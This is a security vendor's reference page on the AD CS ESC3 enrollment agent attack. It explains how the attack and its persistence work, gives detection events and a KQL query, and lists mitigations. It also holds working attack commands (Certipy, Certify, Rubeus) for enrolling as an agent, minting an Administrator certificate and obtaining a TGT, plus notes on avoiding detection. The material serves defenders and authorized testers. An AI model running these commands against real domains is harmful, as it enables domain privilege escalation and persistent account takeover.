1. Resources
  2. Identity Threats
  3. Active Directory

AD CS ESC3: Enrollment Agent Template Abuse

Also known as: ESC3, Enrollment agent abuse, Certificate Request Agent abuse, Enroll on behalf of, PERSIST5

A low-privileged user obtains an enrollment agent certificate, then asks the CA for a logon certificate on behalf of a privileged account and signs in as that account.

Platform
Active Directory
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
Medium
Privileges required: Any authenticated identity
Any domain account with Enroll on a published template that carries the Certificate Request Agent EKU, plus an authentication template that accepts agent-signed requests.
What the attacker gains
Logon certificates for any account that can enroll in the target template, and an agent certificate that keeps minting them until it expires or is revoked.
Threat groups
APT29NIMBUS MANTICOREGroups that MITRE ATT&CK records using T1649.

How it works

Active Directory Certificate Services supports enrollment on behalf of another user. An enrollment agent holds a certificate with the Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1). The agent builds a request that names another user, signs it with the agent certificate, and the CA issues a certificate for that user and returns it to the agent. The feature exists for smart card desks and automated provisioning.

ESC3 is what happens when the agent role is open to everyone. It needs two templates:

  1. An agent template. A template with the Certificate Request Agent EKU that a low-privileged principal can enroll in without approval. The built-in EnrollmentAgent template is the usual example when its permissions have been widened. A template with the Any Purpose EKU works too, which is ESC2.
  2. A target template. A published template with an authentication EKU that accepts agent-signed requests and that the victim account can enroll in:
    • Schema version 1 templates, such as the built-in User and Machine, accept any valid agent certificate.
    • Schema version 2 and later templates accept an agent-signed request when they require one authorized signature (msPKI-RA-Signature = 1) and their required application policy (msPKI-RA-Application-Policies) is Certificate Request Agent.

The CA then checks its own enrollment agent restrictions. Out of the box it does not restrict agents, so any valid agent certificate may enroll for any user on any eligible template.

The certificate issued for the victim is built from the victim's directory account, so the CA adds the victim's SID to the security extension itself. It maps strongly, and the strong certificate mapping enforcement from KB5014754 does not get in the way.

Persistence with a retained agent certificate

The agent certificate is a standing capability, not a one-time step. An attacker who keeps it can come back at any point in its validity period and mint a fresh logon certificate for any eligible account, whatever has happened to passwords in the meantime. Among the AD CS account persistence techniques this one is tracked as PERSIST5. Its reach is set by the CA's agent restrictions, the target templates that exist at that time, and the agent certificate's expiry and revocation status.

Prerequisites

  • A domain account with network access to the CA and a domain controller.
  • Enroll on a published template with the Certificate Request Agent EKU, with manager approval off and no authorized signature required.
  • A published target template as described above, on which the victim has Enroll. Members of Domain Admins usually can enroll in User.
  • No enrollment agent restrictions on the CA that exclude the attacker's account, the target template or the victim.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find both templates

certipy find -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 -vulnerable -stdout

Certipy flags the agent template with ESC3 : Template has Certificate Request Agent EKU set and remarks ESC3 Target Template on the templates that accept agent enrollment.

On Windows, Certify lists them with two filters:

Certify.exe enum-templates --filter-enabled --filter-vulnerable --hide-admins
Certify.exe enum-templates --filter-enabled --filter-request-agent --hide-admins

2. Enroll as an enrollment agent

certipy req -u 'alice@corp.example.com' -p '<password>' \
    -dc-ip 192.0.2.10 -target 'SRV01.corp.example.com' \
    -ca 'CORP-CA' -template 'EnrollAgent'

Certipy saves alice.pfx. The certificate names the attacker and carries the Certificate Request Agent EKU.

Certify.exe request --ca SRV01.corp.example.com\CORP-CA --template EnrollAgent

3. Request a certificate on behalf of the target

certipy req -u 'alice@corp.example.com' -p '<password>' \
    -dc-ip 192.0.2.10 -target 'SRV01.corp.example.com' \
    -ca 'CORP-CA' -template 'User' \
    -pfx 'alice.pfx' -on-behalf-of 'CORP\Administrator'

-on-behalf-of takes the NetBIOS domain name and the SAM account name. The output shows Got certificate with UPN 'Administrator@corp.example.com' and the account's SID, and Certipy saves administrator.pfx.

Certify uses the request-agent command and takes the agent certificate as a base64 PFX:

Certify.exe request-agent --ca SRV01.corp.example.com\CORP-CA --template User --target CORP\Administrator --agent-pfx <base64-pfx>

Add --agent-pass <password> when the agent PFX is password protected.

4. Authenticate as the target

certipy auth -pfx 'administrator.pfx' -dc-ip 192.0.2.10
.\Rubeus.exe asktgt /user:Administrator /certificate:<base64-or-path-to-pfx> /domain:corp.example.com /dc:DC01.corp.example.com /ptt /nowrap
klist

The domain controller validates the certificate through PKINIT and issues a ticket-granting ticket for the target. If the CA rejects step 3, check the target template's signature and application policy requirements and the CA's Enrollment Agents tab before anything else.

Impact

ESC3 takes a domain user to any account that can enroll in an agent-eligible authentication template. With default templates that includes administrators, so the result is full privilege escalation in the domain.

The outcome is broader than a single stolen identity. One agent certificate produces certificates for many accounts, each valid for the target template's validity period and unaffected by password resets. Cleaning up one victim certificate while the agent certificate stays valid changes nothing.

OPSEC and artifacts

  • No template or directory changes. The attack consists of certificate requests only, so directory change auditing sees nothing. Every request still lands in the CA database with its requester, template and serial number.
  • Agent enrollment. The CA writes event 4886 and event 4887 for the agent template with the attacker as requester. Agent templates have very few legitimate enrollees, so this event stands out by itself.
  • On-behalf-of request. A second 4886 and 4887 pair with the same requester but a certificate subject that is another account. An operator may wait days between the two requests to avoid a tight sequence; the requester field ties them together regardless.
  • Common target template. Using User hides the second request among routine enrollments by volume, but routine enrollments name the requester as the subject.
  • PKINIT. Event 4768 on the domain controller shows a certificate sign-in for the victim from the attacker's address, with the certificate's issuer and serial number when those fields are filled. The serial number leads back to the request on the CA.
  • Retained agent certificate. A persistent operator stores the agent PFX off the network. The only records of it are the CA database row and the original 4887.
  • Files and processes. PFX and ccache files on the attacker's host, and Certify.exe and Rubeus.exe command lines where process creation is logged.

Detection

  • Enrollment in an agent template. Alert on every 4887 for a template with the Certificate Request Agent EKU when the requester is not one of the named enrollment agents.
  • Requester is not the subject. In 4887, compare Requester with Subject and SubjectAlternativeName. An account that receives a certificate for a different, privileged account is the core signal of the on-behalf-of step.
  • Sequence. The same requester enrolling in an agent template and then obtaining a certificate that names someone else, at any distance in time.
  • Certificate sign-in by privileged accounts. Event 4768 with a certificate pre-authentication type for administrators who have no smart card. The certificate mapping rules include the built-in Administrator obtaining a TGT with a certificate.
  • Template drift. Adding the Certificate Request Agent EKU to a template, or widening its permissions, appears as event 5136 and in the certificate template modification rules.
// Accounts that enrolled in an agent template and later received a certificate for another subject
let AgentTemplates = dynamic(["EnrollmentAgent", "EnrollAgent"]);   // maintain from the directory
let Issued = WindowsEvent
| where EventID == 4887 and Provider == "Microsoft-Windows-Security-Auditing"
| extend Requester = tostring(EventData.Requester),
         RequestId = tostring(EventData.RequestId),
         Template = tostring(EventData.CertificateTemplate),
         Subject = tostring(EventData.Subject);
let Agents = Issued
| where Template in~ (AgentTemplates)
| project Computer, Requester, AgentTime = TimeGenerated;
Issued
| where Template !in~ (AgentTemplates)
| join kind=inner Agents on Computer, Requester
| where TimeGenerated > AgentTime
| extend RequesterName = tolower(tostring(split(Requester, "\\")[1]))
| where tolower(Subject) !contains RequesterName
| project TimeGenerated, Computer, RequestId, Requester, Template, Subject, AgentTime

The CA events need the Audit Certification Services subcategory and the CA's "Issue and manage certificate requests" audit filter. The template, subject alternative name and serial number fields exist only in the newer version of the events.

Mitigation

  • Close the agent templates. Grant Enroll on templates with the Certificate Request Agent EKU only to the named accounts that run enrollment, and require CA certificate manager approval. Unpublish the template if nobody enrolls on behalf of others.
  • Restrict enrollment agents on the CA. On the Enrollment Agents tab of the CA's properties, choose "Restrict enrollment agents" and list each agent, the templates it may enroll for and the groups it may enroll on behalf of. Privileged accounts should never be in those groups. This is the control that applies least privilege to the agent role.
  • Harden target templates. Prefer schema version 2 or later templates with explicit issuance requirements over the version 1 User and Machine templates, and remove Enroll from privileged accounts on templates they don't use.
  • Fix Any Purpose templates, which act as agent templates. See ESC2.
  • Review who can change templates, so the agent EKU or enrollment rights can't be added back. See ESC4.
  • Audit the CA and the templates. Enable Audit Certification Services with the CA audit filter, and Audit Directory Service Changes with a SACL on the template container, as described in the Active Directory audit policy guide.
  • After an incident, revoke the agent certificate and every certificate requested with it, then publish a CRL.
  • Put AD CS in the hardening plan. The CA, its templates and its administrators are Tier 0; the Active Directory hardening guide places the AD CS review among the Tier 0 controls.

Detection rules for this attack

Log events to collect

FAQ

What is an enrollment agent in AD CS?

An enrollment agent is an account that holds a certificate with the Certificate Request Agent EKU and may request certificates on behalf of other users. It exists for smart card issuance desks, where an operator enrolls cards for employees. The CA trusts the agent's signature on the request instead of the identity of the person submitting it.

Why are the built-in User and Machine templates good targets?

They are schema version 1 templates. Version 1 templates have no setting that limits which agent certificates they accept, so the CA issues an agent-signed request for them when the agent certificate is valid and the CA has no enrollment agent restrictions. Version 2 and later templates can require a specific application policy on the agent certificate.

Does revoking the victim's certificate end an ESC3 compromise?

No. The attacker still holds the enrollment agent certificate and can request a new certificate for the same or another account. Revoke the agent certificate as well, publish a CRL, and close the template permissions or CA agent restrictions that let the attacker enroll as an agent.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.